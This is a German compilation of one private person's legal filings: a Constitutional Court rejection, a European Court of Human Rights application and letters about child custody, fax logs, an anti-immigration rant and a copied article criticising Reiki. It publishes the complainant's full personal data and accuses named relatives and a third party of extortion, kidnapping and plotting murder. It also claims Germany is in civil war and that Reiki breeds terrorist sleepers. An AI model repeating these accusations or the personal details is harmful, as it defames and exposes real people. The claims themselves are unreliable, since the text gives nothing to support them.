Ausfertigung
BUNDESVERFASSUNGSGERICHT
- 1 BvR 50/15 -
In dem Verfahren
über
die Verfassungsbeschwerde
des Herrn Maximilian B ä h r i n g ,
Hölderlinstraße 4, 60316 Frankfurt,
gegen a) den Beschluss des Oberlandesgerichts Frankfurt am Main
vom 15. Dezember 2014 - 3 UF 70/14 -,
b) den Beschluss des Amtsgerichts Bad-Homburg
vom 23. Januar 2014 - 92 F 493/13 -
hat die 1. Kammer des Ersten Senats des Bundesverfassungsgerichts durch
den Vizepräsidenten Kirchhof,
den Richter Eichberger
und die Richterin Britz
gemäß § 93b in Verbindung mit § 93a BVerfGG in der Fassung der Bekannt-
machung vom 11. August 1993 (BGBI I S. 1473)
am 27. Januar 2015 einstimmig beschlossen:
Die Verfassungsbeschwerde wird nicht zur Entscheidung
angenommen.
Von einer Begründung wird nach § 93d Abs. 1 Satz 3 BVerfGG abgesehen.
Diese Entscheidung ist unanfechtbar.
Kirchhof Eichberger Britz
Ausgefertlgt
(Wolf)
Trifbeschäftigte
als Urkundsbeamtin der Geschäftstelle
des Bundesverfassungsgerichts
A. Beschwerdeführer
1. Familienname Bähring
2. Vorname Maximilian
3. Geburtsdatum 21/07/1975
4. Staatsangehörogkeit deutsch
5. Anschrift
Hölderlinstraße 4
60316 Frankfurt a.M.
6. Telefon (mit internationaler Vorwahl)
+49 (0)69 17320776
7. Email (falls vorhanden)
maximilian@baehring.at
8. Geschlecht
männlich
D. Staaten gegen die sich die Beschwerde richtet
33. DEU - Deutschland
E. Darlegung des Sachverhaltes
34.
siehe Anlage
Mir wird das Sorgerecht für mein Kind verweigert.
Die Kindsmutter und ich lebten in einer eheähnlichen Lebensgemeinschaft in einer gemeinsamen Wohnung.
Die Kindsgroßmutter ist Anhängerin einer esoterischen Sekte die pseudomedizinsiche Verfahren ?Heilen durch Handauflegen? propagiert - Reiki.
Als meine Ex schwanger war kam Sie plötzlich auf die Idee das Kind mit Reiki zur Welt bringen zu wollen anstatt mit wissenschaftlicher Medizin.
Weil ich aus der Erfahrung meiner eigenen Geburt bei der ich fast gestorben wäre um die Gefahren weiß bestand ich auf einer ?ärztlichen? Geburt um mein Kind nicht zu gefährden.
Die Kindesgroßmutter die auch Tarotkartenlegen betreibt und Rutengänge und in einem Schneeballsystem als
?Reiki-Meisterin?
ihren ?Jüngern? erhebliche Summen abpresst kam zudem auf die Idee das
Kind von dem die Ärzte erklärten es werde ein MÄDCHEN habe einen
WEIBlichen Körper aber eine MÄNNliche Seele.
Hierbei würde es sich um die Wiedergeburt einer von der Kindesgroßmutter erlebten Totgeburt handeln, das Kind sei gar nicht das Kind der Kindesmutter sondern das der Kindesgroßmutter das verstorben sei. Dessen Seele sei gewandert.
Als wir die Belange des Kindes besprachen - noch vor der Geburt - bat ich die Kindesmutter
35.
mir das gemeinsame Sorgerecht einzuräumen schließlich waren wir nicht verheiratet.
DIE KINDESMUTTER VERWEIGERTE MIR MICH ALS VATER DES KINDES EINTRAGEN ZU LASSEN.
SIE VERWEIGERTE DADURCH AUCH DAS GEMEINSAME SORGERECHT.
Es kam hierüber zur Trennung, im 6. Monat schwanger zog meine Ex aus der gemeinsamen Wohnung aus und zog in die Behausung der Sekte zu ihrer Mutter.
Ich erfuhr erst am 21.09.2000 als Letzter von der Geburt meines Kindes. Dafür hatte die Kindesgroßmutter Sorge getragen.
Sie hat dann zusammen mit dem Jugendamt eine Gesetzeslücke genutzt die sogenanne Vaterschaftsvermutung nachdem Sie sich geweigert hatte mich rechtswirksam als Vater anzugeben.
Als erster Mann in der bundesdeutschen Rechtsgeschichte habe ich dann einen DNA-Vaterschaftstest eingefordert.
- 9F 104/01 KI Amtsgericht Bad Homburg v.d.Höhe
- 3 WF 174/01 Oberlandesgericht Frankfurt a.M.
Nach einem Jahr wurde ich so per Abstammungsgutachten DE JURE Vater des Kindes.
Erst jetzt konnte ich Umgangs-/Sorgerecht einklagen.
Vorher gab mein Anwalt an, die Vaterschaftsvermutung mittels derer meine Ex versuchte mir für ein Kind Unterhaltszahlungen abzupressen dessen Vater ich DE JURE nicht war wohl aber DE FACTO ermögliche
36.
mir das gemeinsame Sorgerecht einzuräumen schließlich waren wir nicht verheiratet.
DIE KINDESMUTTER VERWEIGERTE MIR MICH ALS VATER DES KINDES EINTRAGEN ZU LASSEN.
SIE VERWEIGERTE DADURCH AUCH DAS GEMEINSAME SORGERECHT.
Es kam hierüber zur Trennung, im 6. Monat schwanger zog meine Ex aus der gemeinsamen Wohnung aus und zog in die Behausung der Sekte zu ihrer Mutter.
Ich erfuhr erst am 21.09.2000 als Letzter von der Geburt meines Kindes. Dafür hatte die Kindesgroßmutter Sorge getragen.
Sie hat dann zusammen mit dem Jugendamt eine Gesetzeslücke genutzt die sogenanne Vaterschaftsvermutung nachdem Sie sich geweigert hatte mich rechtswirksam als Vater anzugeben.
Als erster Mann in der bundesdeutschen Rechtsgeschichte habe ich dann einen DNA-Vaterschaftstest eingefordert.
- 9F 104/01 KI Amtsgericht Bad Homburg v.d.Höhe
- 3 WF 174/01 Oberlandesgericht Frankfurt a.M.
Nach einem Jahr wurde ich so per Abstammungsgutachten DE JURE Vater des Kindes.
Erst jetzt konnte ich Umgangs-/Sorgerecht einklagen.
Vorher gab mein Anwalt an, die Vaterschaftsvermutung mittels derer meine Ex versuchte mir für ein Kind Unterhaltszahlungen abzupressen dessen Vater ich DE JURE nicht war wohl aber DE FACTO ermögliche
37.
Artikel 14 Ich werde diskriminiert weil ich
- ein Mann bin
- als behindert verleumdet werde
Artikel 4 Man hat alles getan um mein Recht auf ein faires Verfahren innerhalb angemessener Frist zu behindern.
Die Bundesrepublik hat ein Gesetz nicht geändert das gegen die Verfassung verstieß und mein Recht zur Klage ein Jahrzehnt lang behindert
Artikel 8 Die Bundesrepublik achtet nicht daß ich ein Recht auf Familienleben mit meiner Tochter habe.
Artikel 9 Ich möchte daß mein Kind nach humanistischen, atheistischen Grundsätzen erzogen wird mit einem aufgeklärten wissenschaftlichen Weltbild.
Meine Ex zieht das Kind im Dunstkreise der ?Reiki? Sekte auf.
Das mißachtet mein Recht des Schutzes des Kindes vor religiöser Missionierung.
38.
Artikel 14 1 BvR 50/15
Artikel 4 Bundesverfassungsgericht Karlsruhe
Artikel 8 vom 23. Januar 2015
Artikel 9 vollumfänglich beigefügt
42.
In 1 BvR 933/01 hat das Bundesverfassungsgericht entschieden daß der §1626a BGB, das Sorgerecht unverheirateter, nicht mit der deutschen Verfassung, dem Grundgesetz, vereinbar sei und dem Gesetzgeber, dem deustchen Bundestag, Frist gesetzt bis zum 31. Dezember 2003 dies zu ändern.
Nachdem 2012, fast 10 JAHRE SPÄTER, immer noch nichts geschehen war habe ich mit Petition Pet-A-17-99-1030-021771 vom 14./15. April 2012 beim Deutschen Bundestag, Berlin, den Verfassungsnotstand/Widerstandsfall nach Artikel 20 Absatz 4 Grundgesetz erklärt weil ich die freiheitlich demokratische Grundordnung gefährdet sehe wenn das Parlament sich nicht um Entscheidungen der Normenkontrollinstanz kümmert. Damit befindet sich Deustchland im Bürgerkrieg.
DARAUFHIN wurde mit Wirkung des 19. Mai 2013 das Gesetz - im übrigen zum Schlimmeren - geändert. Gab es vorher keine Möglichkeit für unverheiratete Väter ihr gemeinsames Sorgerecht einzuklagen, so können diese jetzt klagen - falls die Mutter nicht von ihrem neugeschaffenen Veto-Recht gebrauch macht - was genau dasselbe ist wie vor der Reform.
Direkt nach Klageinreichung am 19. Mai 2013
wurde ich am 23. Mai 2013 von Polizisten die mich wohl per willkürlicher
Inhaftierung und Bedrohung an Klage hindern wollten in meiner Wohnung
?überfallen und? dann krankenhausreif
?zusammengeschlagen? weil sie
sich provoziert gefühlt hatten. Weil dies möglicherweise eine
Bürgerkriegs-Angriffs- handlung ist habe ich sicherheitshalber Offensive
an das internationale Kriegsverbrechertribunal in Den Haag gemeldet.
44.
nicht relevant
I.
45.
1. 22. Januar 2015
2.
3. Verfassungsbeschwerde 1 BvR 50/15
4.
5. 27. Januar 2015
6.
7. Entscheidung 1 BvR 50/15
8.
9. jeweils Bundesverfassungsgericht
47.
15042015
49.
Maximilian Bähring
Hölderlinstraße 4
60316 Frankfurt a.M.
Maximilian Bähring
Hölderlinstraße 4
D-60316 Frankfurt a. M.
maximilian@baehring.at
Fax: +49/(0)69/67831634
Fax: +33 (0)3 88 41 27 30
European Court of Human Rights
Council Of Europe
F-67057 Strasbourg Cedex
20. Februar 2015
KLAGE
beigefügt finden Sie Menschenrechtbeschwerde
auf Formular (6 Blatt ? doppelseitig- / 11 Seiten)
Entscheidung 1 BvR 50/15 des Deutschen Bundes-
verfassungsgerichtes in Karlsruhe (1 Seite/Blatt) 3 Blatt / 9 Seiten
Verfassungklage zur vorgenannten Entscheidung + OLG Entscheidung
(8 Blatt ? doppelseitig- / 16 Seiten) nebst deren 3 UF 70/14 OLG
Anlagen (2 Blatt ? doppelseitig- / 4 Seiten) Frankfurt a.M.
Aufrgund
technischer Probleme im Stadtviertel
+ AG Entscheidung
Frankfurt a.M. Ostend hier Nahe des Neubaus 92 F 493/13 SO AG
der Europäsichen Zentralbank ist es möglich daß Bad Homburg v.d.H
Sie Teile der EMail/Fax-Transmission mehrfach
erhalten. Daher sende ich alles auch als Postbrief. 1 Blatt / 3 Seiten
Mit freundlichen Grüßen
Maximilian Bähring
Maximilian Bähring
Hölderlinstraße 4
D-60316 Frankfurt a.M.
Deutschland
Europäsicher Gerichtshof
für Menschenrechte
Europarat
F-67075 Strasbourg
20. Februar 2015
Betreff: Nr. 8400/15
soeben, 20. Februar 2015 erhalte ich Ihr Schreiben datiert auf den 16. Februar
2015 frankiert und zur Post gegeben am 18. Februar 2015. Wie sie den Unterlagen
entnehmen können bin ich am 09. Februar 2015 persönlich bei ihnen in Strasbourg
vorstellig geworden mit zwei großen Leitzordern
und der bei Ihnen abgegebenen Beschwerde. Ich habe hierfür Eingangsstempel und
Fotos als Beweis sowie Kopie der Fahrkarte die ich mir vom Munde absparen
musste (ich hungere deshalb) und die ich beifüge.
IHRE GERICHTSBEAMTEN HABEN NUN BEHAUPTET SIE BENÖTIGTEN KEINERLEI WEITER
UNTERLAGEN obgleich ich ausdrücklich angefragt hatte, ob zusätzliches Material nötig sei
welches ich vollum-fänglich (erkennbar an den Fotos) mit nach Strasbourg
gebracht hatte. Es ist zudem online abrufbar unter: http://tabea-lara.tumblr.com
Überlegen Sie nun selbst in wessen Verantwortung es liegt wenn Akten fehlen die
sie zur Entscheidung benötigen. Ich sende Ihnen trotzdem die angemahnten
Entscheidungen zu.
Ich bin ja gewohnt daß deutsche Gerichte schlampig arbeiten und Verfahren
verschleppen aber ich hätte nicht damit gerechnet daß auch in Strasbourg mit solch
wirklichen üblen Tricks gearbeitet wird. Die angeblich fehlende Entscheidung
ist erstinstanzlich wird also sowieso durch die höherinstanzliche (Oberlandesgericht) aufgehoben die Ihnen INZWISCHEN
ja vorliegt.
Bitte überdenken Sie ihre Entscheidung da der Fehler nachweislich in Ihrem
Hause liegt.
Ich betrachte das permanente Verschwindenlassen von Unterlagen,
und die Blockade von vollständigen Sendungen
per Fax oder Email aufgrund der Seitenanzahl/Mailgröße als ein ganz
gezieltes Instrument
von Psychoterror also FOLTER insbesondere weil Sie ja selbst die
fehlenden Akten beim jeweiligen deutschen Gericht zur Einsicht anfordern
könnten.
Maximilian Bähring
Pardon
It is me again, Max from Germany. Because of
ITU/CCIT-G3 Fax Transmission Problems between easybell/telefonica
Frankfurt a.M. and you and simple-fax in BRAUNSCHWEIG whenever there is a
photo (EVIDENCE) transmitted I needed to send the Pages 1 to 10 through
a Dusseldorf based Fax-Service what finally worked. I wanted to inform
you hereof.
This also happens in cases against Policemen that not let through evidence screenshots from xtravacanza.de website regarding child abuse / sexual harrasment.
TECHNICALLY SPOKEN: IT IS EVIDENT YOU ARE NOT GETTING EVERY FAX THAT IS ADRESSED
TO THE COURT!
ID Datum Uhrzeit Empfänger Status
#1415736 21.02.2015 00:26 0033388412730 FEHLER
#1415733 21.02.2015 00:14 0033388412730 OK
beweisfoto - test auf filter
#1415724 20.02.2015 23:26 0033388412730 OK
#1415723 20.02.2015 23:26 0033388412730 OK
#1415720 20.02.2015 23:22 0033388412730 OK
#1415719 20.02.2015 23:22 0033388412730 OK
#1415718 20.02.2015 23:22 0033388412730 OK
#1415717 20.02.2015 23:21 0033388412730 FEHLER
#1415716 20.02.2015 23:21 0033388412730 OK
~~~
Dokument erfolgreich versendet.
Empfänger: 33388412730
Absender: 1796275
Datum: 21/02/15 00:50
Seiten: 10
?
Because the court is blocking the transmission of 42 pages at once
I have split up my fax ino chunks of a transmission Size of 2 Megabytes each.
Excluding this Page
Fax 0 of 6 to 0
ther will follow six several Fax Transmissions:
Fax 1 of 6 to Pages 1 to 10
Fax 3 of 6 to Pages 11 to 20
Fax 3 of 6 to Pages 21 to 30
Fax 4 of 6 to Pages 31 to 33
Fax 5 of 6 to Pages 34 to 39 > Sorry, but the size limitation
Fax 6 of 6 to Pages 40 to 42 is 2.000.000 Bytes and not 2 Mega-
bytes (2.097.152 Bytes)
therfore the parts
5 and 6 were trans-
mitted as
Fax 5 of 6 to Pages 34 to 38
Fax 6 of 6 to Pages 39 to 42
~~~
What the fuck is this?
transmitting pages 01 to 10 is blocked
ID Datum Uhrzeit Empfänger Status
#1415724 20.02.2015 23:26 0033388412730 OK
#1415723 20.02.2015 23:26 0033388412730 OK
#1415720 20.02.2015 23:22 0033388412730 OK
#1415719 20.02.2015 23:22 0033388412730 OK
#1415718 20.02.2015 23:22 0033388412730 OK
#1415717 20.02.2015 23:21 0033388412730 FEHLER
#1415716 20.02.2015 23:21 0033388412730 OK
#1415689 20.02.2015 21:36 0033388412730 FEHLER
#1415677 20.02.2015 21:10 0033388412730 FEHLER
#1415659 20.02.2015 20:16 0033388412730 FEHLER
Fax: 0033388412730
Maximilian Baehring
Hoelderlinstrasse 4
D-60316 Frankfurt a.M.
02. März 2015
Aufgrund der Transmissionsschwierigkeiten die am 20. Februar 2015 abends und nachts vorlagen send ich hiermit ERNEUT beiligenden Schriftsatz, diesmal vom Internetcafe aus.
Er umfasst insgesamt 42 Seiten (+ 1 Seite Eingangsstempel vom 09. 02.2015/Bahn-Ticket, dieses lag nur dem postalischen Einschreiben RM182787995DE vom 20. Februar 2015 bei)!
Unter Hinweis darauf daß das Verfahren 8400/15 eingestellt wurde
weil das Gericht zwar per Eingangsstempel bestätigte daß es sämtliche angegebenen Unterlagen erhalten habe - und ihm zudem angeboten worden war Akten im umfange von etwas mehr als zwei Leitzordnern die ich mit nach Strasbourg gebracht hatte, ebenfalls dortzulassen -
nachher aber bemängelte es es fehlten Gerichts-Entscheidungen auf die sich meine Eingabe beim EGMR nicht bezogen hatte (Seite 10/11 Punkt 45 des Formulars DEU-2014/I) auf die aber der Menschenrechtsbeschwerde zugrundeliegende Nichtannahmeentscheid des Bundesverfassungsgerichtes in Deutschland wiederum Bezug genommen hatte
fordere ich neues Aktenzeichen damit die nun neuerlich in vollem Umfange eingereichten Akten nicht versehentlich vernichtet werden weil sie unvollständig seien wie angeDROHT wurde.
02. March 2015
retransmission due to failure (only 36 of total 44 pages have been transmitted)
T: +33 (O)3 88 41 20 18
EUROPEAN COURT OF HUMAN RIGHTS F: +33 (0)3 38 41 27 30
COUR EUROPEENNE DES DROITS DE'LHOMME www.echr.coe.int
Herrn
Maximilian BÄHRING
Hölderlinstrasse 4
D-60316 FRANKFURT MAIN
16/02/2015
ECHR-Adeu6
Betreff Nr. 8400/15
Sehr geehrter Herr Bähring,
bei der Kanzlei des Europäischen Gerichtshofes für Menschenrechte ist Ihre Eingabe vom 09/02/2015 eingegangen.
Ich stelle jedoch fest, dass Sie die Voraussetzungen nach Artikel 47 der Verfahrensordnung des Gerichtshofs nicht erfüllt haben:
-
Es wurden nicht alle Kopien der relevanten Entscheidungen oder
Maßnahmen, die Gegenstand der Beschwerde sind, vorgelegt. Insbesondere
fehlt der Besschluss des Amtsgerichts Bad Homburg vom 23. Januar 2014.
- Es wurden nicht alle relevanten Kopien der Dokumente vorgelegt, die die
Erschöpfung der innerstaatlichen Rechtsmittel belegen. Insbesondere
fehlen Ihre Beschwerde gegen den amtsgerichtlichen Beschluss und der
Beschluss des Oberlandesgerichts Frankfurt am Main vom 15. Dezember
2014.
Unter diesen Umständen kann die Beschwerde nicht vom Gerichtshof untersucht werden.
Daher wurden die von Ihnen eingereichten Unterlagen und Eingaben nicht aufbewahrt.
Wenn Sie möchten, dass der Gerichtshof Ihre Beschwerde bearbeitet, müssen Sie ein vollständig ausgefülltes und gültiges Beschwerdeformular mit allen erforderlichen Unterlagen gemäß Artikel 47 der Verfahrensordnung vorlegen.
Sie finden Informationen dazu, wie Sie eine gültige Beschwerde erheben, auf der Internetseite des Gerichtshofs (www.echr.coe.int/applicants). Diese Informationen sind in sämtlichen Sprachen der Mitgliedstaaten des Europarats abrufbar.
Ich weise Sie darauf hin, dass die Sechs-Monats-Frist nach Artikel 35 Absatz 1 der Konvention nur dann unterbrochen wird, wenn eine vollständige Beschwerde an den Gerichtshof gesendet wird.
EUROPEAN COURT OF HUMAN RIGHTS - COUNCIL OF EUROPE - COUR EUROPEENNE DES DROITS DE'L HOMME
COUNCIL OF EUROPE CONSEIL DE'L EUROPE
67075 STRASBOURG CEDEX 67075 STRASBOURG CEDEX
FRANCE - CONSEIL DE'L EUROPE - FRANCE
- 2 -
Der Gerichtshof wird auf schriftliche oder telefonische Anfragen im Zusammenhang mit der
Unvollständigkeit dieser Akte nicht antworten.
Mit freundlichen Grüßen
Für den Kanzler
A. Müller-Elschner
Rechtsreferent
Lügner BMdI De Maiziere: ?Deutschland ist empirisch gesehen längst ein Einwanderungsland.?
http://www.pi-news.net/2015/04/de-maiziere-fordert-zuwanderungsmarketing/
Falsch. 8,2 Mio Zuwanderen stehen allein mehr als 20 Mio deutschgebürtige US-Amerikaner gegenüber.
1860 1.276.075
1870 1.690.533
1880 1.966.742
1890 2.784.894
1900 2.663.418
1910 2.311.237
1920 1.686.108
1930 1.608.814
1940 1.200.000
1960 989.815
1970 832.965
1980 849.384
1990 711.929
============
20.571.914
http://de.wikipedia.org/wiki/Geschichte_der_Deutschen_in_den_Vereinigten_Staaten#Statistik_der_deutschen_Bev.C3.B6lkerung_in_den_Vereinigten_Staaten
empirisch ist Deutschland ein AUSwanderungsland
Statt
daß man eigene Kidner ausbildet holt mas sich Leute aus dem Ausland
-> Folge: Das Know-How ist in Deustchland selbst dann nicht mehr
vorhanden, Ausbildungsplätze fallen weg. Das ist ein Effekt der nur für
die erste Generation ausgebildeter Facharbeiter/Akademiker Früchte trägt
ab dann ein Minusgeschäft.
Ob Reiki wirkt oder nicht kann dahingestellt bleiben. Mit den ?Behandlungen? verbunden ist ein in allen Punkten die Klassifikation als ?Sekte? erfüllendes System daß sich jeglicher demokratischen Kontrolle vollständig entzieht. Die vermeintlichen psychischen Beschwerden die Reiki angeblich heilen soll werden zudem durch Reiki erst künstlich herbeigeführt. Reiki ist zutiefst antidemokratisch. Reiki wird mutmaßlich zur Züchtung von terroristsichen Schläfern verwendet da angeblich der freie Wille der Opfer beeinflußt laut Agaben der Sekte werden kann, ähnlich wie bei einer Hypnose.
Bevor ich mit Reiki in Kontakt kam hatte ich keinerlei Beschwerden was
meine Musterung als Wehrdiensttauglich in Usingen (sozusagen
amtsärztlich) beweist. Erst und exakt seit ich es mit Reiki zu tun habe
besteht der Verdacht auf schwere, unheilbare psychische Probleme;
überdie dann eine medizinische und vermögensrechtliche Betreuung über
mich errichtet werden soll damit das Familienvermögen von mir und meinen
Eltern für diesen esoterischen pseudomedi-zinsichen BULLSHIT über das
KIDNAPPING meiner Tochter der Sekte der Jutta Riek zufließt, am besten
über ein in die Sterbehilfe treiben als Mord.
~~~
Sektenmerkmale
von Reiki
Ausschlaggebend ist nicht die Etikettierung als ?Sekte?, sondern die differenzierte Beurteilung einer Gruppe anhand ihrer Merkmale und deren Auswirkungen auf der persönlichen, familiären, gesellschaftlichen, politischen und wirtschaftlichen Ebene. Die folgenden Kriterien liefern eine Grundlage zur Einschätzung der Kritikwürdigkeit und Gefährlichkeit einer Gruppe. Dabei ist sorgfältig abzuwägen, ob eine Mehrzahl der Punkte in relevantem Masse zutrifft:
Struktur der Organisation: Gruppe mit straff hierarchischer und doktrinärer Struktur v
Autoritäre Führung: Führergestalt mit prophetischen oder guruhafter Ansprüchen v
Offenheit der Gruppe: Isolation und starke Abgrenzung der Gruppe nach aussen v
Leistungen für die Gruppe: überteuerte Kursangebote oder Kosten für Lehrmaterial, Fronarbeit v
Welt- und Menschenbild: Einteilung der Welt in Gut und Böse, Schwarz-Weiss-Denken v
Absolutheitsanspruch: ausschliessender Glaube an die absolute Wahrheit
des eigenen Systems, der eigenen Lehre, des eigenen Weges, der eigenen
Methoden v
Erlösungs- oder Heilsversprechen:
«Universalrezepte» für sämtliche Probleme sowie irreale
Machbarkeitsvorstellungen v
Elitebewusstsein: Die Mitglieder der Gruppe verstehen sich als
auserwählt, als spirituell weiterentwickelte Elite der Menschheit, als
?Speerspitze? des Wissens. v
Endzeiterwartung: Gruppe erwartet Endzeit, Weltuntergang v
Informationspolitik nach Aussen: keine offene Informationspolitik, irreführende Propaganda v
Informationspolitik nach Innen: Selektion von Information bis hin zu bewusster Desinformation innerhalb der Gruppe v
Umgang mit Kritik: Kritikverbot innerhalb der Gruppe; Bekämpfung von KritikerInnen ausserhalb v
Milieukontrolle: Kontrolle und Überwachung aller Lebensbereiche v
Rücksichtlose Methoden: getarnte oder irreführende Anwerbung, Indoktrination, Einsatz von bewusstseinsverändernden Methoden v
Gedanken- und Gefühlskontrolle: durch Erzeugung eines schlechten
Gewissens und von Angst wird das Mitglied manipuliert; durch exzessives
Praktizieren von Entspannungstechniken und Meditation werden Gedanken
und Gefühle kontrollierbar und manchmal sogar ein ?innerer Führer?
eingeführt, der das eigene Gewissen ersetzt v
Reiki= Eindeutig Sekte
P.S.: Informationspolitik -> ?stufenweise? Einweihung
~~~
Reiki-Setting in einem Krankenhaus
Mikao Usui
Chujiro Hayashi
Hawayo Takata
Phyllis Furumoto
Reiki
Aus Psiram
Reiki
(jap. usui reiki ryoho = Usui-Geisteskraft-Behandlung) ist eine
esoterisch inspirierte pseudomedizinische Technik, die Anfang des 20.
Jahrhunderts von Mikao Usui in Japan erfunden wurde. In einem
wissenschaftlichen Sinne ist die Wirksamkeit der Reiki-Praktiken nicht
belegt.
Inhaltsverzeichnis
1 Ursprung
2 Was ist Reiki?
3 Studienlage
4 Das dreistufige Reiki
5 Reiki als Instrument für Sekten und sektenähnlich operierende Gruppen
6 Fachliteratur und weitere Artikel
7 Weblinks
8 Anderssprachige Psiram-Artikel
9 Quellennachweise
Ursprung
Der von der Szene selbst verbreiteten Legende nach entstammt Reiki dem tibetanischen Buddhismus und wurde vom japanischen buddhistischen Mönch Dr. Mikao Usui in den letzten Jahren des 19. Jahrhunderts nach Japan gebracht. Usui habe die Jahre vor seinem Tod im Jahre 1930 angeblich damit verbracht, Reiki in Japan zu lehren. Während dieser Zeit soll er 18 Reiki-Meister ausgebildet haben, darunter einen ehemaligen Marineoffizier des I. Weltkrieges, Dr. Chujiro Hayashi.
Dieser
wurde nach Usuis Tod dessen Nachfolger. Hayashi gründete in Japan eine
Klinik, in der er Patienten mit Reiki behandelt haben soll. Er
modifizierte die Reiki-Technik durch Vorschriften und Handhaltungen
sowie um eine dreistufige Initiationsprozedur. Hayashi weihte bis zu
seinem Tod im Jahre 1941 weitere 13 Reiki-Meister. Einer dieser 13
Meister war Frau Hawayo Takata, die zu seiner Nachfolgerin aufstieg.
Frau Takata soll danach Japan verlassen haben, um auf Hawaii selbst eine
Reiki-Klinik zu gründen. Sie soll auch ein
Gebührensystem für
Reiki-Anwärter eingeführt haben. Für die erste Stufe der Initiation
verlangte sie 175 US$, für die zweite 500 US$ und für die dritte
schließlich die damals beträchtliche Summe von 10.000 US$. Sie forderte
von jedem von ihr ausgebildeten Reiki-Meister die Fortführung dieses
Gebührensystems. Zwischen 1970 bis zu ihrem Tod im Jahre 1980 soll Frau
Takata 22 Reiki-Meister geweiht haben.
Im Amte beerbt wurde Frau Takata von ihrer Enkeltochter, Phyllis Furumoto, die nun als Reiki-Großmeisterin das so genannte traditionelle Usui-Reiki ausübt. Furumoto gründete 1983 die so genannte Reiki-Allianz, in der nur Reiki-Meister aufgenommen werden, die für ihre Initiation 10.000 US$ bezahlt haben. Mittlerweile halten sich allerdings viele Reiki-Anhänger nicht mehr an diesen finanziellen Ehrenkodex und geben ihre alternativen Weihen schon für deutlich geringere Summen ab.
Was ist Reiki?
Das
Wort Reiki setzt sich aus den Komponenten REI (= universal, grenzenlos)
und KI (= die Lebensenergie, auch Chi genannt) zusammen. Durch sanftes
Handauflegen lasse der Therapeut Heilenergien durch den Patienten
strömen, die angeblich die Energiepunkte des Körpers ausglichen, von
Spannungen und Stress befreiten, eine Aktivierung der körpereigenen
Heilkräfte erlaubten und eine Stabilisierung des natürlichen
körperlich-seelischen Gleichgewichts erzeugen könnten. Zusätzlich sei
Reiki in der Lage, eine gesteigerte
Wahrnehmung zu bewirken und sogar
Gifte aus dem Körper zu eliminieren. [1] Abgesehen von diesem
?klassischen? Reiki zur Behandlung von Menschen gibt es von zahlreichen
Anbietern auch Reiki für Tiere, die damit von Krankheiten, Verletzungen,
Angst, ?Blockaden? usw. kuriert werden sollen. Bei Zimmerpflanzen und
sogar bei Speisen und Getränken soll Reiki eine positive Wirkung haben,
wobei die Behandlung in diesen Fällen darin besteht, dass die
Reiki-kundige Person ihre Hände einfach über die Pflanze oder das Essen
hält, um die ?Reiki-Energie? hineinströmen zu lassen.
Studienlage
Für
keine der Behauptungen, die über Reiki aufgestellt werden, wurde je ein
Beweis erbracht. Es existieren keine überprüfbaren Belege auf
biophysischer und theoretischer Basis für die Reiki-Energie [2] ;
ernsthafte Untersuchungen konnten dies nicht bestätigen. Assefi et al.
konnten in einer randomisierten, placebokontrollierten Studie mit 100 an
Fibromyalgie erkrankten Teilnehmern feststellen, dass es keinen
Unterschied machte, ob die Patienten von einem Reiki-Therapeuten
behandelt wurden oder von einem Schauspieler, der sich als solcher
ausgab. [3] Weiter wurde im Jahr 2008 eine systematische
Übersichtsarbeit von randomisierten, klinischen Studien durchgeführt,
welche
die Evidenzbasis zur Wirksamkeit von Reiki in Erfahrung
bringen sollte. Es wurde kein Nachweis erbracht, dass Reiki als Therapie
effektiv oder in irgendwelcher Form wirksam wäre. [4] Placebo gestützte
Reiki-Therapien gelten zudem als schwer durchzuführen, da ein
realistisches Placebo kaum realisierbar ist. [5] William T. Jarvis,
Ph.D. am National Council Against Health Fraud (NCAHF) (http://www.ncahf.org/), weist dazu noch auf die Möglichkeit hin, dass klinische Effekte auf Suggestion beruhen können. [6]
Das dreistufige Reiki
Die Angaben, was man zur Erfüllung der ersten Reiki-Stufe konkret zu tun habe, sind von Anbieter zu Anbieter unterschiedlich. Meist reicht es aus, 175 US$ zu zahlen, um die erste Stufe der Initiation zu erreichen. Es gibt Internetseiten, auf denen man seine Reiki-Stufe kostenlos per E-Mail abrufen kann.
In der zweiten Reiki-Stufe erhält man eine Bescheibung dreier Symbole, die man sich zu merken hat. Man zeichnet jene mit der Hand zum Schein auf die Hautoberfläche des Patienten und sagt sie auch gleichzeitig auf, um eine Energieübertragung durchzuführen. Jedes Symbol hat dabei für den Reiki-Anhänger eine besondere Bedeutung. Das Power-Symbol wird benutzt, wenn der Heiler annimmt, dass eine gesteigerte Energiemenge notwendig sei. Das Emotion-Symbol soll zur emotionalen Heilung oder Stabilisierung dienen. Das Absent-
Reiki ? Psiram https://www.psiram.com/ge/index.php/Reiki
1 of 2 16.04.2015 19:03
Healing-Symbol
kann zur Fernheilung von nicht körperlich anwesenden Personen dienen.
Es könne sogar durch Raum und Zeit zurück wirken.
In der dritten
Reiki-Stufe, der des Reiki-Meisters, erhält man das vierte Symbol
(Master-Symbol) mitgeteilt. Dieses setzt man ein, um die Fähigkeit zu
erlangen, den Kanal zur Energieübertragung zu öffnen. Dabei strömt dann
die Energie durch den Kopf des Behandlers hinein sowie durch seine Hände
wieder hinaus in den Patienten. Damit das Reiki auch Wirkung zeigt,
wird erklärt, dass dieses Symbol unsichtbar in den Meister ?eingebrannt?
werde und nach dieser Implantation nicht mehr entfernt werden könne.
Der Junior-Meister muss seine Fähigkeiten dann ein Jahr lang üben, bis
er eigenverantwortlich heilen darf.
Reiki als Instrument für Sekten und sektenähnlich operierende Gruppen
Einige
Sekten nutzen das Gebiet der fernöstlichen Heilmethodik als Tarnung:
Reiki wird als primitive Art der Psychotherapie dabei als Köder benutzt.
Mit einer relativ einfach aufgebauten mystischen Stimmung wird
gutgläubigen Menschen viel Geld abgenommen. Die Wärme, die die Patienten
spüren, wenn sie von einem Reiki-Meister ?behandelt? werden, tritt
nicht wirklich auf und lässt sich auch nicht messen. Vielmehr ist dieses
subjektiv empfundene Wärmegefühl, analog zu Yoga-Übungen, das Resultat
einer gesteigerten Selbstwahrnehmung in einer vom jeweiligem Meister
geschaffenen, psychologisch-manipulativen Umgebung. Durch Fokussierung
auf das eigene Körpergefühl kann kurzfristig ein solcher Eindruck
erweckt werden. Bei
sexuell gehemmten Personen kann zusätzlich durch
die vor allem bei älteren Personen noch stark tabuisierte körperliche
Fast-Berührung durch den ?Therapeuten? eine Blutdrucksteigerung mit
lokal gesteigertem Wärmeempfinden bewirkt werden. Dies ist analog zum
?Phänomen Rote Ohren? in peinlichen Situationen zu sehen.
Gefährlich
ist Reiki nicht, da es unwirksam ist. Problematisch ist hingegen, dass
die dahinter stehende Ideologie machtorientiert ist und den Patienten zu
